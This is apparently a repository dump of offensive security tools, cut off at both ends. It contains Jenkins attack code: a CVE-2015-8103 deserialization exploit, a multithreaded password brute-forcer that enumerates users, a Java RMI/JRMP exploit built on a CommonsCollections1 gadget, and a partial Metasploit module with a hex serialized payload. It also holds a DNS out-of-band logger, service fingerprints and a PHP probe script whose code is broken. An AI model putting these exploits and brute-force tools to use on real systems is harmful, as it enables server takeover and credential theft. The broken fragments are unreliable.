socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 9 | udps.bind(('0.0.0.0', 53)) 10 | 11 | try: 12 | while True: 13 | try: 14 | packet, addr = udps.recvfrom(1024) 15 | except ConnectionResetError: 16 | continue # closed by client 17 | client = addr 18 | try: 19 | client = socket.gethostbyaddr(addr[0]) 20 | except: 21 | pass 22 | d = DNSRecord.parse(packet) 23 | found = str(d.q.qname) + ' from ' + str(client[0]) 24 | fd = open('dnslog', 'a+') 25 | fd.write(found+'\n') 26 | fd.close() 27 | except KeyboardInterrupt: 28 | pass 29 | finally: 30 | udps.close() 31 | input('Press enter...') 32 | -------------------------------------------------------------------------------- /info/finger.json: -------------------------------------------------------------------------------- 1 | { 2 | "lan": 3 | [ 4 | { 5 | "name": "gitlab", 6 | "body": "GitLab Community Edition|navbar-gitlab|gon.default_issues_tracker|gon.api_version" 7 | }, 8 | { 9 | "name": "hadoop", 10 | "body": "hadoop-st.png|dr.who|About Apache Hadoop" 11 | }, 12 | { 13 | "name": "confluence", 14 | "body": "Atlassian Confluence|confluence-context-path" 15 | }, 16 | { 17 | "name": "solr", 18 | "body": "Apache SOLR" 19 | }, 20 | { 21 | "name": "spark", 22 | "body": "Spark Master|spark://" 23 | }, 24 | { 25 | "name": "splunk", 26 | "body": "Splunk.util.normalizeBoolean" 27 | }, 28 | { 29 | "name": "resin", 30 | }, 31 | { 32 | "name": "reviewBoard", 33 | "header": 34 | [ 35 | { 36 | "set-cookie": "Resin" 37 | } 38 | ] 39 | }, 40 | { 41 | "name": "phpmyadmin", 42 | "body": "phpmyadmin.css.php|alt=\"phpMyAdmin\"" 43 | }, 44 | { 45 | "name": "zabbix", 46 | "header": 47 | [ 48 | { 49 | "set-cookie": "zbx_sessionid" 50 | } 51 | ] 52 | }, 53 | { 54 | "name": "visualsvn", 55 | "body": "VisualSVN Server" 56 | }, 57 | { 58 | "name": "vmware", 59 | "body": "ID_EESX_Welcome|ID_ESX_VCServerDesc|ID_ESX_VIClientDesc|VMware ESXi provides a highly" 60 | }, 61 | { 62 | "name": "jenkins", 63 | "body": "Jenkins|asynchPeople|Jenkins ver|projectRelationship", 64 | "header": [ 65 | 66 | ] 67 | } 68 | ], 69 | "language": 70 | [ 71 | { 72 | "name": "jsp", 73 | "header": 74 | [ 75 | { 76 | "set-cookie": "JSESSIONID|JServSessionId" 77 | } 78 | ] 79 | }, 80 | { 81 | "name": "asp", 82 | "header": 83 | [ 84 | { 85 | "set-cookie": "ASPSESSIONID" 86 | } 87 | ] 88 | }, 89 | { 90 | "name": "aspx", 91 | "header": 92 | [ 93 | { 94 | "set-cookie": "ASP.NET_SessionId" 95 | } 96 | ] 97 | }, 98 | { 99 | "name": "php", 100 | "header": 101 | [ 102 | { 103 | "set-cookie": "PHPSESSION|PHPSESSID|.php" 104 | } 105 | ] 106 | }, 107 | { 108 | "name": "python", 109 | "header": 110 | [ 111 | { 112 | "set-cookie": "pysid" 113 | } 114 | ] 115 | } 116 | ], 117 | "framework": 118 | [ 119 | { 120 | "name": "struts2", 121 | "header": 122 | [ 123 | { 124 | "body": "Jenkins|asynchPeople|Jenkins ver|projectRelationship" 125 | } 126 | ] 127 | } 128 | ], 129 | "webserver": 130 | [ 131 | { 132 | "name": "apache", 133 | "header": 134 | [ 135 | { 136 | "set-cookie": "Apache" 137 | } 138 | ] 139 | }, 140 | { 141 | "name": "WebSphere", 142 | "body": "Ltpatoken|Ltpatoken2|LtpatokenExpiry|LtpatokenUsername|DomAuthSessID" 143 | } 144 | ] 145 | } 146 | -------------------------------------------------------------------------------- /info/php.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys,httplib 5 | from optparse import OptionParser 6 | usageString = "Usage: %prog [options] hostname" 7 | parser = OptionParser(usage=usageString) 8 | (opts,args) = parser.parse_args() 9 | if len(args) < 1: 10 | parser.error("Hostname is required") 11 | print __doc__ 12 | file = sys.argv[1] 13 | fobj = open(redis.txt,'r') 14 | fileHandle = open('php.txt','a+') 15 | for target in fobj: 16 | website = target.strip() 17 | #login path 18 | dirs = ["phpinfo.php","php.php","test.php","1.php"] 19 | for line in dirs: 20 | conn = httplib.HTTPConnection(website) 21 | conn.request('GET','/'+line) 22 | r1 = conn.getresponse() 23 | if r1.status == 200 or r1.status == 301 or r1.status == 403: 24 | print website+'/'+line,r1.status,r1.reason 25 | if not s.is_vul(): 26 | print 'NO vulerable' 27 | #sys.exit(0) 28 | else: 29 | fileHandle.write(target) 30 | print 'server is vulerable' 31 | -------------------------------------------------------------------------------- /jenkins/CVE-2015-8103: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | #usage: ./jenkins.py host port /path/to/payload 4 | import socket 5 | import sys 6 | import requests 7 | import base64 8 | 9 | host = sys.argv[1] 10 | port = sys.argv[2] 11 | 12 | #Query Jenkins over HTTP to find what port the CLI listener is on 13 | r = requests.get('http://'+host+':'+port) 14 | cli_port = int(r.headers['X-Jenkins-CLI-Port']) 15 | 16 | #Open a socket to the CLI port 17 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 | server_address = (host, cli_port) 19 | print 'connecting to %s port %s' % server_address 20 | sock.connect(server_address) 21 | 22 | # Send headers 23 | headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74' 24 | print 'sending "%s"' % headers 25 | sock.send(headers) 26 | 27 | data = sock.recv(1024) 28 | print >>sys.stderr, 'received "%s"' % data 29 | 30 | data = sock.recv(1024) 31 | print >>sys.stderr, 'received "%s"' % data 32 | 33 | payloadObj = open(sys.argv[3],'rb').read() 34 | payload_b64 = base64.b64encode(payloadObj) 35 | payload='' 36 | 37 | print 'sending payload...' 38 | '''outf = open('payload.tmp','w') 39 | outf.write(payload) 40 | outf.close()''' 41 | sock.send(payload) 42 | -------------------------------------------------------------------------------- /jenkins/Crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/evn/python 2 | #-*- coding:utf-8 -*- 3 | __author__ = 'BlackYe.' 4 | 5 | import optparse 6 | import urlparse, urllib, urllib2 7 | import socket 8 | from bs4 import BeautifulSoup, SoupStrainer 9 | import re 10 | import requests 11 | import cookielib 12 | import json 13 | import time,sys 14 | import threading 15 | import Queue 16 | 17 | PEOPLE_PERFIX = 'people/' 18 | ASYNCH_PEOPEL_PERFIX = 'asynchPeople/' 19 | VERSION_TAG = 'http://jenkins-ci.org' 20 | 21 | HTTP_HEADERS = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11", 22 | "Accept" : "*/*", 23 | "Cookie": ' bdshare_firstime=1418272043781; mr_97113_1TJ_key=3_1418398208619;'} 24 | 25 | 26 | USER_LIST = Queue.Queue(0) 27 | BRUST_USER_QUEUE = Queue.Queue(0) 28 | SUC_USER_QUEUE = Queue.Queue(0) 29 | 30 | def color_output(output, bSuccess = True): 31 | if bSuccess: 32 | print '\033[1;32;40m%s\033[0m' % output 33 | else: 34 | print '\033[1;31;40m%s\033[0m' % output 35 | 36 | class RedirctHandler(urllib2.HTTPRedirectHandler): 37 | def http_error_301(self, req, fp, code, msg, headers): 38 | pass 39 | 40 | def http_error_302(self, req, fp, code, msg, headers): 41 | pass 42 | 43 | class BrustThread(threading.Thread): 44 | 45 | def __init__(self, brust_url, timeout = 10): 46 | threading.Thread.__init__(self) 47 | self.brust_url = brust_url 48 | self.timeout = timeout 49 | self.try_timeout_cnt = 3 50 | 51 | def run(self): 52 | while BRUST_USER_QUEUE.qsize() > 0: 53 | user_pwd_info = BRUST_USER_QUEUE.get() 54 | if user_pwd_info['count'] < self.try_timeout_cnt: 55 | self.brust(user_pwd_info['user'], user_pwd_info['password'], user_pwd_info['count']) 56 | 57 | 58 | def brust(self, user, pwd, count): 59 | global SUC_USER_QUEUE 60 | opener = urllib2.build_opener(RedirctHandler) 61 | urllib2.install_opener(opener) 62 | 63 | try: 64 | request = urllib2.Request(self.brust_url) 65 | json_data = '{"j_username":"%s", "j_password":"%s", "remember_me":false}' % (user, pwd) 66 | data = {"j_username":"%s" % user, "j_password":"%s" % pwd, "json":json_data, "Submit":"登录"} 67 | postdata = urllib.urlencode(data) 68 | resp = urllib2.urlopen(request, postdata, timeout = self.timeout) 69 | 70 | except urllib2.HTTPError,e: 71 | if e.code == 404: 72 | color_output(u'[-]....brust url error:%d' % e.code) 73 | sys.exit() 74 | elif e.code == 301 or e.code == 302: 75 | result = re.findall(u'(.*)loginError', e.headers['Location']) 76 | if len(result) != 0: 77 | color_output(u'[-]....尝试登陆组合 %s:%s, 失败!' % (user, pwd), False) 78 | else: 79 | SUC_USER_QUEUE.put_nowait({'user':user, 'pwd':pwd}) 80 | color_output(u'[-]....尝试登陆组合 %s:%s, 爆破成功!!!' % (user, pwd)) 81 | #print e.headers 82 | else: 83 | color_output(u'[-]....尝试登陆组合 %s:%s, 失败!' % (user, pwd), False) 84 | except socket.timeout: 85 | color_output(u'[-]....尝试登陆组合 %s:%s, 返回码:timeout' % (user, pwd), False) 86 | #push to task queue 87 | cnt = count + 1 88 | BRUST_USER_QUEUE.put_nowait({"user":user,"password":pwd, "count":cnt}) 89 | except Exception,e: 90 | color_output(u'[-]....尝试登陆组合 %s:%s, 返回码:%s' % (user, pwd, str(e)), False) 91 | 92 | 93 | 94 | class Jenkins(object): 95 | 96 | def __init__(self, url, thread_num = 10, pwd_dic = "comm_dic.txt"): 97 | self.url = url 98 | self.user_list = [] #user list 99 | self.check_version = "1.5" 100 | self.user_link = "asynchPeople" 101 | self.timeout = 4 102 | self.thread_num = thread_num 103 | self.brust_url = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', 'j_acegi_security_check') 104 | self.pwd_list = [] 105 | self.pwd_suffix = ['', '123','1234','12345','000'] 106 | 107 | pwd_list = [] 108 | with open(pwd_dic) as file: 109 | for line in file.readlines(): 110 | pwd_list.append(line.strip(' \r\n')) 111 | 112 | self.pwd_list.extend(pwd_list) 113 | 114 | def __bAnonymous_access(self): 115 | target_url = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', 'script') 116 | try: 117 | resp = urllib2.urlopen(target_url, timeout= self.timeout) 118 | color_output('[+]....%s anonymous access vul!' % target_url) 119 | return (True, 1) 120 | except urllib2.HTTPError,e: 121 | if e.code == 403: 122 | color_output('[+]....%s unable anonymous access!' % target_url, False) 123 | return (False, 1) 124 | else: 125 | return (False, 0) 126 | except urllib2.URLError: 127 | color_output('[+]....%s unable anonymous access!' % target_url, False) 128 | return (False, -1) 129 | except socket.timeout,e: 130 | print "[-]....%s can't access!" % target_url 131 | return (False, -1) 132 | 133 | def __get_version(self): 134 | ''' 135 | get jenkins version 136 | :return: 137 | ''' 138 | try: 139 | html = urllib2.urlopen(self.url + '/login?from=%2F').read() 140 | links = SoupStrainer('a' ,href = re.compile(VERSION_TAG)) 141 | version_text = BeautifulSoup(html, "html.parser", parse_only= links) 142 | if version_text.text != "": 143 | color_output("[+]....jenkins version is %s" % version_text.text) 144 | version_re = re.findall(u"ver.\s(.*)" ,version_text.text) 145 | if len(version_re) != 0: 146 | if version_re[0][0:4] >= self.check_version: 147 | self.user_link = ASYNCH_PEOPEL_PERFIX 148 | else: 149 | self.user_link = PEOPLE_PERFIX 150 | else: 151 | color_output("[-]....can't get jenkins version!") 152 | sys.exit() 153 | except urllib2.URLError,e: 154 | color_output("[-]....can't get jenkins version!") 155 | sys.exit() 156 | except Exception,e: 157 | color_output("[-]....get version error:%s" % str(e)) 158 | sys.exit() 159 | 160 | 161 | def get_all_user_by_people(self): 162 | user_link = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', self.user_link) 163 | try: 164 | html = requests.get(user_link, timeout = self.timeout, headers = HTTP_HEADERS).text 165 | soup = BeautifulSoup(html, "html.parser") 166 | table_tag = soup.findAll('table', attrs={'id':'people'}) 167 | for user_href_tag in table_tag[0].findAll('a', attrs={"class":'model-link'}): 168 | href = user_href_tag.get('href') 169 | if href != u'/': 170 | self.user_list.append(href.replace('/user/', '').strip('/')) 171 | 172 | except requests.exceptions.ConnectTimeout: 173 | color_output("[-]....%s timeout!" % user_link) 174 | except Exception: 175 | color_output("[-]....get_all_user_by_people error!") 176 | 177 | 178 | 179 | def get_all_user_by_async(self): 180 | user_link = urlparse.urljoin(self.url if self.url[len(self.url)-1] == '/' else self.url+'/', self.user_link) 181 | cookiejar = cookielib.CookieJar() 182 | #httpHandler = urllib2.HTTPHandler(debuglevel=1) 183 | #opener = urllib2.build_opener(httpHandler, urllib2.HTTPCookieProcessor(cookiejar)) 184 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar)) 185 | 186 | opener.addheaders = [('User-Agent', HTTP_HEADERS['User-Agent'])] 187 | urllib2.install_opener(opener) 188 | 189 | try: 190 | html = urllib2.urlopen(user_link, timeout = self.timeout).read() 191 | result = re.findall(u'makeStaplerProxy\(\'(.*);</script>', html) 192 | if len(result) != 0: 193 | re_list = result[0].split(',') 194 | proxy_num = re_list[0][re_list[0].rfind('/')+1:-1] 195 | crumb = re_list[1].strip('\'') 196 | 197 | if len(re_list) == 4 and re_list[2].find('start') == -1: 198 | self.user_list.extend(self.__get_peopel_waiting_done(urllib2, user_link ,crumb, proxy_num)) 199 | else: 200 | start_url = '%s/$stapler/bound/%s/start' % (self.url, proxy_num) 201 | req = urllib2.Request(start_url, data = '[]') 202 | req.add_header("Content-type", 'application/x-stapler-method-invocation;charset=UTF-8') 203 | req.add_header("X-Prototype-Version", "1.7") 204 | req.add_header("Origin", self.url) 205 | req.add_header("Crumb", crumb) 206 | req.add_header("Accept", 'text/javascript, text/html, application/xml, text/xml, */*') 207 | req.add_header("X-Requested-With", "XMLHttpRequest") 208 | req.add_header("Referer", user_link) 209 | resp = urllib2.urlopen(req, timeout = self.timeout) 210 | 211 | if resp.getcode() == 200: 212 | self.user_list.extend(self.__get_peopel_waiting_done(urllib2, user_link, crumb, proxy_num)) 213 | 214 | except urllib2.HTTPError,e: 215 | color_output('[-]....get_all_user_by_async failed, retcode:%d' % e.code, False) 216 | return False 217 | except socket.timeout: 218 | color_output('[-]....get_all_user_by_async timeout' , False) 219 | return False 220 | except Exception,e: 221 | color_output('[-]....get_all_user_by_async error:%s' % str(e), False) 222 | return False 223 | 224 | 225 | def __get_peopel_waiting_done(self, URLLIB2, referer, crumb, proxy_num): 226 | b_done = True 227 | user_list = [] 228 | while b_done: 229 | try: 230 | news_url = '%s/$stapler/bound/%s/news' % (self.url, proxy_num) 231 | req = URLLIB2.Request(news_url, data = '[]') 232 | req.add_header("Content-type", 'application/x-stapler-method-invocation;charset=UTF-8') 233 | req.add_header("X-Prototype-Version", "1.7") 234 | req.add_header("Content-Length",'2') 235 | req.add_header("Accept-Encoding", "identity") 236 | req.add_header("Origin", self.url) 237 | req.add_header("Crumb", crumb) 238 | req.add_header("X-Requested-With", "XMLHttpRequest") 239 | req.add_header("Referer", referer) 240 | resp = URLLIB2.urlopen(req, timeout = self.timeout) 241 | 242 | if resp.getcode() == 200: 243 | try: 244 | content = resp.read() 245 | ret_json = json.loads(content, encoding="utf-8") 246 | for item in ret_json['data']: 247 | if item['id'] != None: 248 | user_list.append(item['id']) 249 | 250 | if ret_json['status'] == 'done': #wait recv end 251 | b_done = False 252 | 253 | time.sleep(0.5) 254 | 255 | except Exception,e: 256 | print str(e) 257 | b_done = False 258 | else: 259 | b_done = False 260 | 261 | except urllib2.HTTPError,e: 262 | b_done = False 263 | except socket.timeout: 264 | b_done = False 265 | except Exception: 266 | b_done = False 267 | 268 | return list(set(user_list)) 269 | 270 | 271 | def work(self): 272 | print '-' * 50 273 | print '* Detect Jenkins anonymous access' 274 | print '-' * 50 275 | info, status = self.__bAnonymous_access() 276 | 277 | if status == 1 and not info: 278 | print '-' * 50 279 | print '* Get Jenkins Version' 280 | print '-' * 50 281 | self.__get_version() #获取版本信息 282 | 283 | print '-' * 50 284 | print '* Get Jenkins All user' 285 | print '-' * 50 286 | 287 | if self.user_link == PEOPLE_PERFIX: 288 | self.get_all_user_by_people() 289 | elif self.user_link == ASYNCH_PEOPEL_PERFIX: 290 | self.get_all_user_by_async() 291 | 292 | color_output('[+]....Jenkins All user count:%d' % len(self.user_list), True) 293 | if len(self.user_list) != 0: 294 | 295 | for user in self.user_list: 296 | for pwd in self.pwd_list: 297 | BRUST_USER_QUEUE.put_nowait({"user":user,"password":pwd, "count":0}) 298 | #动态生成密码 299 | for suffix_pwd in self.pwd_suffix: 300 | BRUST_USER_QUEUE.put_nowait({"user":user,"password":user + suffix_pwd, "count":0}) 301 | 302 | print '-' * 50 303 | print '* Brust All Jenkins User' 304 | print '-' * 50 305 | 306 | threads = [] 307 | for i in range(self.thread_num): 308 | brustthread = BrustThread(self.brust_url) 309 | threads.append(brustthread) 310 | 311 | for brustthread in threads: 312 | brustthread.start() 313 | 314 | for brustthread in threads: 315 | brustthread.join() 316 | 317 | if SUC_USER_QUEUE.qsize() > 0: 318 | print '-' * 50 319 | print '* Brust All User Success Result' 320 | print '-' * 50 321 | print 'total success count : %d' % SUC_USER_QUEUE.qsize() 322 | while SUC_USER_QUEUE.qsize() > 0: 323 | suc_user_dic = SUC_USER_QUEUE.get_nowait() 324 | color_output('User:%s, Password:%s' % (suc_user_dic['user'], suc_user_dic['pwd'])) 325 | 326 | 327 | def test(self): 328 | self.__bAnonymous_access() 329 | 330 | if __name__ == '__main__': 331 | parser = optparse.OptionParser('usage: python %prog [options](eg: python %prog http://www.qq.com/)') 332 | parser.add_option('-u', '--url', dest = 'url', type = 'string', help = 'target url') 333 | parser.add_option('-t', '--threads', dest='thread_num', type = 'int', default = 10, help = 'Number of threads. default = 10') 334 | parser.add_option('-f', '--dic', dest = 'dic', type='string', default = 'comm_dic.txt', help = 'Dict file used to brute jenkins') 335 | 336 | (options, args) = parser.parse_args() 337 | if options.url == None or options.url == "": 338 | parser.print_help() 339 | sys.exit() 340 | 341 | jenkins_work = Jenkins(url = options.url, thread_num = options.thread_num, pwd_dic = options.dic) 342 | jenkins_work.work() 343 | -------------------------------------------------------------------------------- /jenkins/Security232Exp.java: -------------------------------------------------------------------------------- 1 | package jenkins.security; 2 | 3 | import hudson.remoting.Callable; 4 | import hudson.remoting.Channel; 5 | import hudson.remoting.Channel.Mode; 6 | import hudson.remoting.ChannelBuilder; 7 | import hudson.remoting.ClassFilter; 8 | import hudson.remoting.JarLoader; 9 | import java.io.DataOutputStream; 10 | import java.io.File; 11 | import java.io.IOException; 12 | import java.io.ObjectOutputStream; 13 | import java.io.OutputStream; 14 | import java.lang.reflect.Constructor; 15 | import java.lang.reflect.Field; 16 | import java.lang.reflect.InvocationHandler; 17 | import java.lang.reflect.Method; 18 | import java.lang.reflect.Proxy; 19 | import java.net.HttpURLConnection; 20 | import java.net.InetSocketAddress; 21 | import java.net.Socket; 22 | import java.net.URL; 23 | import java.net.URLClassLoader; 24 | import java.rmi.activation.ActivationDesc; 25 | import java.rmi.activation.ActivationID; 26 | import java.rmi.activation.ActivationInstantiator; 27 | import java.rmi.server.ObjID; 28 | import java.rmi.server.RemoteObject; 29 | import java.rmi.server.UnicastRemoteObject; 30 | import java.util.concurrent.ExecutorService; 31 | import java.util.concurrent.Executors; 32 | import javax.net.SocketFactory; 33 | import static jenkins.security.security218.Payload.CommonsCollections1; 34 | import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; 35 | import jenkins.security.security218.ysoserial.payloads.ObjectPayload; 36 | import static org.junit.Assert.*; 37 | import org.junit.Rule; 38 | import org.junit.Test; 39 | import org.jvnet.hudson.test.Issue; 40 | import org.jvnet.hudson.test.JenkinsRule; 41 | import sun.reflect.ReflectionFactory; 42 | import sun.rmi.server.ActivationGroupImpl; 43 | import sun.rmi.server.UnicastRef2; 44 | import sun.rmi.server.Util; 45 | import sun.rmi.transport.LiveRef; 46 | import sun.rmi.transport.TransportConstants; 47 | import sun.rmi.transport.tcp.TCPEndpoint; 48 | 49 | /** 50 | * @author mbechler, adapted for JUnit/JenkinsRule by jglick 51 | */ 52 | @Issue("SECURITY-232") 53 | public class Security232Test { 54 | 55 | @Rule 56 | public JenkinsRule r = new JenkinsRule(); 57 | 58 | @Test 59 | public void commonsCollections1() throws Exception { 60 | File pwned = new File(r.jenkins.getRootDir(), "pwned"); 61 | 62 | int jrmpPort = 12345; 63 | URL u = r.getURL(); 64 | 65 | HttpURLConnection hc = (HttpURLConnection) u.openConnection(); 66 | int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); 67 | 68 | InetSocketAddress isa = new InetSocketAddress(u.getHost(), clip); 69 | Socket s = null; 70 | Channel c = null; 71 | try { 72 | System.err.println("* Opening socket " + isa); 73 | s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); 74 | s.setKeepAlive(true); 75 | s.setTcpNoDelay(true); 76 | 77 | System.err.println("* Opening channel"); 78 | OutputStream outputStream = s.getOutputStream(); 79 | 80 | DataOutputStream dos = new DataOutputStream(outputStream); 81 | 82 | dos.writeUTF("Protocol:CLI-connect"); 83 | 84 | ExecutorService cp = Executors.newCachedThreadPool(); 85 | c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); 86 | 87 | System.err.println("* Channel open"); 88 | 89 | Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); 90 | 91 | Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); 92 | reqCons.setAccessible(true); 93 | 94 | Object getJarLoader = reqCons 95 | .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { 96 | JarLoader.class.getName() + ".ours" 97 | }); 98 | 99 | Object call = c.call((Callable<Object,Exception>) getJarLoader); 100 | InvocationHandler remote = Proxy.getInvocationHandler(call); 101 | Class<?> rih = Class.forName("hudson.remoting.RemoteInvocationHandler"); 102 | Field oidF = rih.getDeclaredField("oid"); 103 | oidF.setAccessible(true); 104 | int oid = oidF.getInt(remote); 105 | 106 | System.err.println("* JarLoader oid is " + oid); 107 | 108 | Constructor<UnicastRemoteObject> uroC = UnicastRemoteObject.class.getDeclaredConstructor(); 109 | uroC.setAccessible(true); 110 | ReflectionFactory rf = ReflectionFactory.getReflectionFactory(); 111 | Constructor<?> sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC); 112 | sc.setAccessible(true); 113 | UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance(); 114 | 115 | Field portF = UnicastRemoteObject.class.getDeclaredField("port"); 116 | portF.setAccessible(true); 117 | portF.set(uro, jrmpPort); 118 | Field f = RemoteObject.class.getDeclaredField("ref"); 119 | f.setAccessible(true); 120 | f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), new TCPEndpoint("localhost", 12345), true))); 121 | 122 | Object o = reqCons 123 | .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { 124 | uro, 125 | }); 126 | 127 | try { 128 | c.call((Callable<Object,Exception>) o); 129 | } 130 | catch ( Exception e ) { 131 | // [ActivationGroupImpl[UnicastServerRef [liveRef: 132 | // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, -9046794842107247609]] 133 | 134 | e.printStackTrace(); 135 | 136 | String msg = e.getMessage(); 137 | int start = msg.indexOf("objID:["); 138 | if ( start < 0 ) { 139 | return; // good, got blocked before we even got this far 140 | } 141 | 142 | int sep = msg.indexOf(", ", start + 1); 143 | 144 | if ( sep < 0 ) { 145 | throw new Exception("Failed to get object id, separator"); 146 | } 147 | 148 | int end = msg.indexOf("]", sep + 1); 149 | 150 | if ( end < 0 ) { 151 | throw new Exception("Failed to get object id, separator"); 152 | } 153 | 154 | String uid = msg.substring(start + 7, sep); 155 | String objNum = msg.substring(sep + 2, end); 156 | 157 | System.err.println("* UID is " + uid); 158 | System.err.println("* ObjNum is " + objNum); 159 | 160 | String[] parts = uid.split(":"); 161 | 162 | long obj = Long.parseLong(objNum); 163 | int o1 = Integer.parseInt(parts[ 0 ], 16); 164 | long o2 = Long.parseLong(parts[ 1 ], 16); 165 | short o3 = Short.parseShort(parts[ 2 ], 16); 166 | 167 | exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, new CommonsCollections1(), "touch " + pwned); 168 | } 169 | 170 | c.close(); 171 | } 172 | finally { 173 | if ( s != null ) { 174 | s.close(); 175 | } 176 | } 177 | 178 | Thread.sleep(5000); 179 | 180 | assertFalse("Pwned!", pwned.exists()); 181 | } 182 | 183 | 184 | /** 185 | * @param inetSocketAddress 186 | * @param obj 187 | * @param o1 188 | * @param o2 189 | * @param o3 190 | * @throws IOException 191 | */ 192 | private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, ObjectPayload payload, String payloadArg ) 193 | throws Exception { 194 | Socket s = null; 195 | try { 196 | System.err.println("* Opening JRMP socket " + isa); 197 | s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); 198 | s.setKeepAlive(true); 199 | s.setTcpNoDelay(true); 200 | 201 | OutputStream os = s.getOutputStream(); 202 | DataOutputStream dos = new DataOutputStream(os); 203 | 204 | dos.writeInt(TransportConstants.Magic); 205 | dos.writeShort(TransportConstants.Version); 206 | dos.writeByte(TransportConstants.SingleOpProtocol); 207 | 208 | dos.write(TransportConstants.Call); 209 | 210 | final ObjectOutputStream objOut = new ObjectOutputStream(dos) { 211 | 212 | protected void annotateClass ( Class<?> cl ) throws IOException { 213 | if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { 214 | writeObject(null); 215 | } 216 | else { 217 | URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); 218 | String cb = ""; 219 | for ( URL u : us ) { 220 | cb += u.toString(); 221 | } 222 | writeObject(cb); 223 | } 224 | } 225 | 226 | 227 | /** 228 | * Serializes a location from which to load the specified class. 229 | */ 230 | protected void annotateProxyClass ( Class<?> cl ) throws IOException { 231 | annotateClass(cl); 232 | } 233 | }; 234 | 235 | objOut.writeLong(obj); 236 | objOut.writeInt(o1); 237 | objOut.writeLong(o2); 238 | objOut.writeShort(o3); 239 | 240 | objOut.writeInt(-1); 241 | objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); 242 | 243 | System.err.println("Running " + payload + " against " + ClassFilter.class.getProtectionDomain().getCodeSource().getLocation()); 244 | final Object object = payload.getObject(payloadArg); 245 | objOut.writeObject(object); 246 | 247 | os.flush(); 248 | } 249 | finally { 250 | if ( s != null ) { 251 | s.close(); 252 | } 253 | } 254 | } 255 | 256 | } 257 | -------------------------------------------------------------------------------- /jenkins/jenkins_ldap_deserialize.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http//metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | require 'msf/core' 7 | 8 | class Metasploit3 < Msf::Exploit::Remote 9 | Rank = ExcellentRanking 10 | 11 | STAGE1 = "aced00057372002b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee17184980300007870770400000002737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0003787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740008041ac080131d170678787371007e00090000000077040000000078737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001f636f6d2e73756e2e6a6e64692e6c6461702e4c646170417474726962757465c47b6b02a60583c00300034c000a62617365437478456e767400154c6a6176612f7574696c2f486173687461626c653b4c000a6261736543747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e6469726563746f72792e42617369634174747269627574655d95d32a668565be0300025a00076f7264657265644c000661747472494471007e001778700074000077040000000078707400156c6461703a2f2f6c6f63616c686f73743a313233347372001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe0300007870770400000000787871007e000e707871007e000e78" 12 | # java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 'touch /tmp/wtf' 13 | STAGE2 = 